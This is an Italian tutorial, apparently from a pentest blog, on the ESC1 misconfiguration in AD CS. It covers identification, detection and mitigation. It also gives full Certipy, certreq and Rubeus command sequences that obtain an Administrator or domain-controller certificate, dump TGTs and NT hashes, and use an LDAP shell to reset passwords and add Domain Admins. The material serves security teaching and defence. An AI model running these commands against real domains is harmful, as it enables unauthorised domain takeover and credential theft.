ESC1 AD CS: Exploit e Privilege Escalation con Certipy

ESC1 in Active Directory Certificate Services: identificazione, exploitation e mitigazione #

ESC1 è la misconfigurazione più classica e pericolosa di AD CS. Permette a un utente con pochi privilegi di ottenere un certificato impersonando qualsiasi account del dominio, inclusi Domain Admin.

Il problema nasce quando un certificate template consente all’utente di specificare manualmente l’identità nel certificato.

Prima di andare avanti, un piccolo glossario: in tutta la guida torneranno sempre questi termini.

Fatta questa premessa: se il template permette di inserire un UPN arbitrario nel SAN, l’attaccante può richiedere un certificato per:

administrator@corp.local

e autenticarsi come Administrator.

Quando esiste una vulnerabilità ESC1 #

ESC1 esiste quando si verificano queste condizioni contemporaneamente.

1 — Enrollee Supplies Subject #

Il template usa:

Supply in the request

che corrisponde al flag:

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

Questo permette al richiedente di definire:

• Subject
• SAN
• UPN
• DNS

2 — EKU di autenticazione #

Il certificato può essere usato per login.

EKU tipici:

Client Authentication
Smart Card Logon
PKINIT Client Authentication
Any Purpose

OID esempio:

1.3.6.1.5.5.7.3.2

Nota: un template senza alcun EKU (tipico delle sub-CA) non è ESC1, è ESC2. Non confonderli: qui serve un EKU di autenticazione esplicito.

3 — Enrollment aperto #

Il template permette l’enrollment a gruppi ampi come:

Domain Users
Authenticated Users

4 — Nessun controllo di sicurezza #

Il template non richiede:

Manager approval
Authorized signatures

Il certificato quindi viene emesso automaticamente.

5 — Prerequisiti infrastrutturali (spesso dati per scontati) #

Oltre alle impostazioni del template, servono anche:

• il template deve essere pubblicato sulla CA (non basta che esista nello schema AD, deve essere abilitato su una Enterprise CA);
• il richiedente deve avere permessi di enrollment effettivi sul template (non solo “Domain Users” sulla carta — verificare gli ACL reali);
• la CA deve essere trusted per l’autenticazione di dominio (presente in NTAuthCertificates).

6 — Full Enforcement Mode (KB5014754) — il requisito che oggi conta di più #

Da settembre 2025 Microsoft ha rimosso definitivamente il Compatibility Mode per il certificate mapping. Tutti i DC patchati sono in Full Enforcement Mode, senza possibilità di tornare indietro.

Questo cambia l’exploitation pratica: il solo SAN UPN non basta più su un dominio aggiornato. Il certificato deve contenere anche la Security Extension SID (szOID_NTDS_CA_SECURITY_EXT) con il SID corretto della vittima, altrimenti il DC rifiuta l’autenticazione anche se lo UPN è giusto.

Per questo, oggi, il parametro -sid in certipy req non è opzionale: è quello che fa funzionare l’attacco su un ambiente realistico.

Identificazione con Certipy #

Enumerare i template:

certipy find -u attacker@corp.local -p 'Passw0rd!' -dc-ip 10.0.0.100 -text -enabled -hide-admins

Output tipico:

Template Name : VulnTemplate
Client Authentication : True
Enrollee Supplies Subject : True
Enrollment Rights : Domain Users

[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication

Indicatori chiave:

Enrollee Supplies Subject : True
Client Authentication : True
Enrollment Rights : Domain Users
Requires Manager Approval : False
Authorized Signatures Required : 0

Exploitation ESC1 #

L’exploit si divide in tre step.

1️⃣ trovare il SID della vittima 2️⃣ richiedere un certificato impersonandola 3️⃣ autenticarsi con quel certificato

Step 1 — trovare SID della vittima #

certipy account \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-user administrator read

Output:

objectSid : S-1-5-21-...-500

Step 2 — richiedere certificato Administrator #

certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template VulnTemplate \
-upn administrator@corp.local \
-sid S-1-5-21-...-500

Output:

Successfully requested certificate
Saving certificate to administrator.pfx

Il certificato contiene due identità separate, non una sola:

SAN UPN                = administrator@corp.local   → weak mapping
Security Extension SID = S-1-5-21-...-500            → strong mapping

Su un DC in Full Enforcement Mode, se manca la Security Extension SID o non corrisponde, l’autenticazione viene negata anche se lo UPN è corretto. È il motivo per cui -sid va sempre passato.

Step 3 — autenticarsi come Administrator #

certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100 -domain corp.local

Output:

[*] Certificate identities:
    SAN UPN: 'Administrator@corp.local'
    Security Extension SID: 'S-1-5-21-...-500'
Got TGT
Saving credential cache
Got NT hash for administrator

L’attaccante ottiene:

• Kerberos TGT
• NTLM hash
• accesso Domain Admin

Fallback: LDAP Shell quando Kerberos non funziona #

In alcuni ambienti il DC restituisce:

KDC_ERR_PADATA_TYPE_NOSUPP

Oggi questo capita più spesso per via del Full Enforcement Mode (SID mancante o non corrispondente) che per mancato supporto PKINIT vero e proprio. In questo caso Certipy offre un’alternativa: autenticarsi via LDAPS e ottenere una shell interattiva sul dominio.

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -domain corp.local -ldap-shell

Se tutto va bene il DC risponde:

Authenticated to '10.0.0.100' as: 'u:CORP\Administrator'
Type help for list of commands
#

Comandi utili nella LDAP shell #

Il comando più diretto è cambiare la password dell’account impersonato:

# change_password administrator NuovaPassword1

Da quel momento puoi autenticarti normalmente con le credenziali in chiaro tramite WinRM, SMB, RDP o qualsiasi altro protocollo.

Altri comandi rilevanti:

# whoami                          → verifica l'utente connesso
# add_user_to_group user group    → aggiunge un utente a un gruppo (es. Domain Admins)
# get_laps_password COMPUTER$     → legge la password LAPS di un computer
# set_rbcd TARGET$ GRANTEE$       → configura Resource-Based Constrained Delegation
# dump                            → dumpa oggetti del dominio
# search query [attributi]        → cerca utenti e gruppi per nome o DN

Nota: change_password e altre operazioni che modificano oggetti richiedono LDAPS (porta 636). Se il DC non accetta LDAPS puoi provare start_tls dentro la shell per fare l’upgrade della connessione.

Impersonare un Domain Controller #

Per impersonare un computer account i computer usano SAN DNS, non UPN:

certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template VulnTemplate \
-dns dc01.corp.local \
-sid S-1-5-21-...-1001

Il -sid qui deve essere l’objectSid reale dell’account macchina DC01$, non un valore arbitrario — recuperalo con certipy account -user dc01$ read come nello Step 1.

Alternative senza Certipy: tool nativi e web enrollment #

Se sei su un host Windows del dominio e vuoi restare “on-box” senza portare tool esterni, puoi fare lo stesso attacco con i binari nativi.

Certreq.exe / Certutil.exe #

certreq -new request.inf request.csr
certreq -submit -config "CA01\CORP-CA" request.csr certnew.cer
certutil -MergePFX certnew.cer certnew.pfx

request.inf definisce subject e SAN arbitrario — vale solo se il template è vulnerabile come descritto sopra.

Web Enrollment (certsrv) #

Se è attiva l’interfaccia web (/certsrv/), la richiesta si può fare anche da browser o con una richiesta HTTP diretta, senza RPC: utile quando l’RPC verso la CA è filtrato ma l’HTTP(S) no.

Autenticarsi senza certipy auth #

Con il PFX ottenuto, in alternativa a certipy auth puoi usare Rubeus per il TGT:

Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:password123! /ptt

Vale sempre il punto del Full Enforcement Mode: il certificato deve portare il SID corretto, non solo il SAN, qualunque tool tu usi per richiederlo.

ESC1 vs ESC6 — non confonderli #

ESC1: il template permette “Supply in the request” (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). Si corregge sul template.

ESC6: è la CA stessa ad avere il flag EDITF_ATTRIBUTESUBJECTALTNAME2 attivo, che permette SAN arbitrario su qualsiasi template che consenta autenticazione. Si corregge sulla CA:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

e richiede il restart del servizio CertSvc.

Da quando Microsoft ha aggiunto la Security Extension SID (update maggio 2022), ESC6 da solo spesso non basta più: serve anche ESC10 (weak certificate mapping) perché la security extension ha priorità sul SAN.

Impatto ESC1 #

ESC1 porta direttamente a:

• Domain Admin
• Kerberos TGT
• NTLM hash
• compromissione completa del dominio

È uno degli attacchi AD CS più comuni nei pentest, anche se su DC aggiornati va eseguito includendo sempre il SID.

Detection ESC1 #

Indicatori principali sul template:

Enrollee Supplies Subject
Client Authentication EKU
Enrollment Rights = Domain Users
No Manager Approval

Audit via enumerazione:

certipy find

Per rilevare un abuso già avvenuto serve l’audit sulla CA, non solo l’enumerazione dei template: eventi di richiesta/emissione certificati nel log della CA, correlazione tra l’account richiedente e l’identità presente nel certificato emesso, e controllo delle modifiche recenti ai template (chi li ha editati, quando). Vanno verificati i numeri di evento specifici configurati nel tuo ambiente, perché l’auditing sulla CA va abilitato esplicitamente e non tutti gli eventi sono raccolti di default.

Mitigation ESC1 #

Disabilitare Supply in Request #

Configurare il template su:

Build from this Active Directory information

Limitare Enrollment #

Non usare:

Domain Users
Authenticated Users

Abilitare Manager Approval #

Template → Issuance Requirements:

CA certificate manager approval

Richiedere Authorized Signatures #

CSR firmato da Enrollment Agent.

Disabilitare template inutilizzati #

Molte vulnerabilità derivano da template legacy ancora pubblicati sulla CA ma non più usati — rimuovili dalla pubblicazione, non solo dalla configurazione.

Dopo un abuso confermato #

• revoca il certificato emesso e pubblica la CRL;
• verifica le credenziali/ticket dell’account impersonato;
• controlla la strong certificate mapping e la configurazione Schannel, non solo il template.

FAQ — ESC1 ADCS #

Cos’è ESC1? #

Una misconfigurazione che permette di specificare manualmente l’identità nel certificato.

Qual è il problema principale? #

Un utente può inserire nel SAN:

administrator@domain

ESC1 funziona anche su Domain Controller aggiornati? #

Sì, ma dal Full Enforcement Mode (KB5014754, settembre 2025) serve includere anche il SID corretto della vittima con -sid: il solo UPN non basta più.

Qual è la differenza fra SAN UPN e Security Extension SID? #

Il SAN UPN è il campo “classico” usato per il weak mapping. La Security Extension SID è un’estensione aggiunta da Microsoft nel 2022 che contiene il SID reale della vittima, usata per lo strong mapping ed è quella che oggi conta davvero.

Perché Certipy ottiene un certificato ma non riesce ad autenticarsi? #

Più spesso per Full Enforcement Mode con SID mancante/errato, meno spesso per mancato supporto PKINIT sul DC.

ESC1 porta direttamente a Domain Admin? #

Sì, se il certificato contiene UPN e SID di un admin e il DC lo accetta.

È comune nei pentest? #

Molto. È uno dei primi controlli fatti su AD CS.

ESC1 è il punto di partenza per comprendere tutti gli attacchi AD CS. Continua con ESC2 o torna alla guida completa alle escalation ESC1-ESC16.

Tool usato in questa guida: Certipy.